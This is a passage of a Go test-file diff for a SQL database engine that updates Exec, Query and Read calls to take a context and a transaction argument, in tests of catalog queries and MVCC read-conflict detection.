err) - row, err := res.Read() + row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 2, row.ValuesByPosition[0].Value()) - row, err = res.Read() + row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 8, row.ValuesByPosition[0].Value()) - _, err = res.Read() + _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() @@ -5110,21 +5144,21 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) t.Run("without a handler, multi database stmts are locally resolved", func(t *testing.T) { - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - r, err := engine.Query("SELECT * FROM DATABASES()", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM DATABASES()", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, "db1", row.ValuesBySelector["(*.databases.name)"].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -5140,42 +5174,42 @@ func TestMultiDBCatalogQueries(t *testing.T) { } engine.SetMultiDBHandler(handler) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; CREATE DATABASE db1; COMMIT; - `, nil, nil) + `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.ErrorIs(t, err, ErrNoSupported) - _, _, err = engine.Exec("USE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) - ntx, ctxs, err := engine.Exec("USE DATABASE db1; USE DATABASE db2", nil, nil) + ntx, ctxs, err := engine.Exec(context.Background(), nil, "USE DATABASE db1; USE DATABASE db2", nil) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 2) require.Zero(t, ctxs[0].UpdatedRows()) require.Zero(t, ctxs[1].UpdatedRows()) - _, _, err = engine.Exec("BEGIN TRANSACTION; USE DATABASE db1; COMMIT;", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "BEGIN TRANSACTION; USE DATABASE db1; COMMIT;", nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) t.Run("unconditional database query", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM DATABASES() WHERE name LIKE 'db*'", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM DATABASES() WHERE name LIKE 'db*'", nil) require.NoError(t, err) for _, db := range dbs { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) require.Equal(t, db, row.ValuesBySelector["(*.databases.name)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -5183,18 +5217,18 @@ func TestMultiDBCatalogQueries(t *testing.T) { }) t.Run("query databases using conditions with table and column aliasing", func(t *testing.T) { - r, err := engine.Query("SELECT dbs.name as dbname FROM DATABASES() as dbs WHERE name LIKE 'db*'", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT dbs.name as dbname FROM DATABASES() as dbs WHERE name LIKE 'db*'", nil) require.NoError(t, err) for _, db := range dbs { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) require.Equal(t, db, row.ValuesBySelector["(*.dbs.dbname)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -5210,10 +5244,10 @@ func TestMultiDBCatalogQueries(t *testing.T) { } engine.SetMultiDBHandler(handler) - _, _, err = engine.Exec("USE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) - tx, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) require.NotNil(t, tx) @@ -5258,56 +5292,56 @@ func (h *multidbHandlerMock) ExecPreparedStmts( stmts []SQLStmt, params map[string]interface{}, ) (ntx *SQLTx, committedTxs []*SQLTx, err error) { - return h.engine.ExecPreparedStmts(stmts, params, nil) + return h.engine.ExecPreparedStmts(ctx, nil, stmts, params) } func TestSingleDBCatalogQueries(t *testing.T) { engine := setupCommonTest(t) - tx, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), tx, ` CREATE TABLE mytable1(id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR[256], PRIMARY KEY id); CREATE INDEX ON mytable1(title); CREATE TABLE mytable2(id INTEGER NOT NULL, name VARCHAR[100], active BOOLEAN, PRIMARY KEY id); CREATE INDEX ON mytable2(name); CREATE UNIQUE INDEX ON mytable2(name, active); - `, nil, tx) + `, nil) require.NoError(t, err) defer tx.Cancel() t.Run("querying tables without any condition should return all tables", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM TABLES()", nil, tx) + r, err := engine.Query(context.Background(), tx, "SELECT * FROM TABLES()", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(db1.tables.name)"].Value()) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("querying tables with name equality comparison should return only one table", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM TABLES() WHERE name = 'mytable2'", nil, tx) + r, err := engine.Query(context.Background(), tx, "SELECT * FROM TABLES() WHERE name = 'mytable2'", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) @@ -5315,57 +5349,57 @@ func TestSingleDBCatalogQueries(t *testing.T) { params := map[string]interface{}{ "tableName": "mytable1", } - r, err := engine.Query("SELECT * FROM INDEXES(@tableName)", params, tx) + r, err := engine.Query(context.Background(), tx, "SELECT * FROM INDEXES(@tableName)", params) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].Value()) require.Equal(t, "mytable1[id]", row.ValuesBySelector["(db1.indexes.name)"].Value()) require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].Value()) require.Equal(t, "mytable1[title]", row.ValuesBySelector["(db1.indexes.name)"].Value()) require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("unconditional index query should return all the indexes of mytable2", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM INDEXES('mytable2')", nil, tx) + r, err := engine.Query(context.Background(), tx, "SELECT * FROM INDEXES('mytable2')", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].Value()) require.Equal(t, "mytable2[id]", row.ValuesBySelector["(db1.indexes.name)"].Value()) require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].Value()) require.Equal(t, "mytable2[name]", row.ValuesBySelector["(db1.indexes.name)"].Value()) require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].Value()) require.Equal(t, "mytable2[name,active]", row.ValuesBySelector["(db1.indexes.name)"].Value()) require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) @@ -5374,12 +5408,12 @@ func TestSingleDBCatalogQueries(t *testing.T) { "tableName": "mytable1", } - r, err := engine.Query("SELECT * FROM COLUMNS(@tableName)", params, tx) + r, err := engine.Query(context.Background(), tx, "SELECT * FROM COLUMNS(@tableName)", params) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].Value()) require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].Value()) @@ -5391,7 +5425,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.True(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) require.True(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].Value()) require.Equal(t, "title", row.ValuesBySelector["(db1.columns.name)"].Value()) @@ -5403,17 +5437,17 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.False(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) require.False(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) t.Run("unconditional column query should return all the columns of mytable2", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM COLUMNS('mytable2')", nil, tx) + r, err := engine.Query(context.Background(), tx, "SELECT * FROM COLUMNS('mytable2')", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].Value()) require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].Value()) @@ -5425,7 +5459,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.True(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) require.True(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].Value()) require.Equal(t, "name", row.ValuesBySelector["(db1.columns.name)"].Value()) @@ -5437,7 +5471,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.False(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) require.False(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].Value()) require.Equal(t, "active", row.ValuesBySelector["(db1.columns.name)"].Value()) @@ -5449,7 +5483,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.False(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) require.False(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) }) } @@ -5457,93 +5491,93 @@ func TestSingleDBCatalogQueries(t *testing.T) { func TestMVCC(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (title);", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (title);", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (active);", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active);", nil) require.NoError(t, err) t.Run("read conflict should be detected when a new index was created by another transaction", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (payload);", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "CREATE INDEX ON table1 (payload);", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions without overlapping rows", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with overlapping rows", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id > 0", nil, tx2) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id > 0", nil) require.NoError(t, err) for { - _, err = rowReader.Read() + _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break @@ -5553,106 +5587,106 @@ func TestMVCC(t *testing.T) { err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions with non-invalidated queries", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id > 10", nil, tx2) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id > 10", nil) require.NoError(t, err) - _, err = rowReader.Read() + _, err = rowReader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - _, _, err = engine.Exec("DELETE FROM table1 WHERE id > 0", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "DELETE FROM table1 WHERE id > 0", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions with non-invalidated queries", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - _, _, err = engine.Exec("DELETE FROM table1 WHERE id > 2", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "DELETE FROM table1 WHERE id > 2", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with invalidated queries in desc order", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', true, x'0A10');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', true, x'0A10');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil, tx2) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) require.NoError(t, err) for { - _, err = rowReader.Read() + _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break @@ -5662,31 +5696,31 @@ func TestMVCC(t *testing.T) { err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) t.Run("no read conflict should be detected when processing transactions with non invalidated queries in desc order", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil, tx2) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) require.NoError(t, err) for { - _, err = rowReader.Read() + _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break @@ -5696,34 +5730,34 @@ func TestMVCC(t *testing.T) { err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("no read conflict should be detected when processing transactions with non invalidated queries", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) - rowReader, err := engine.Query("SELECT * FROM table1 LIMIT 2", nil, tx2) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 LIMIT 2", nil) require.NoError(t, err) for { - _, err = rowReader.Read() + _, err = rowReader.Read(context.Background()) if err != nil { require.ErrorIs(t, err, ErrNoMoreRows) break @@ -5733,34 +5767,34 @@ func TestMVCC(t *testing.T) { err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.NoError(t, err) }) t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil, tx1) + _, _, err = engine.Exec(context.Background(), tx1, 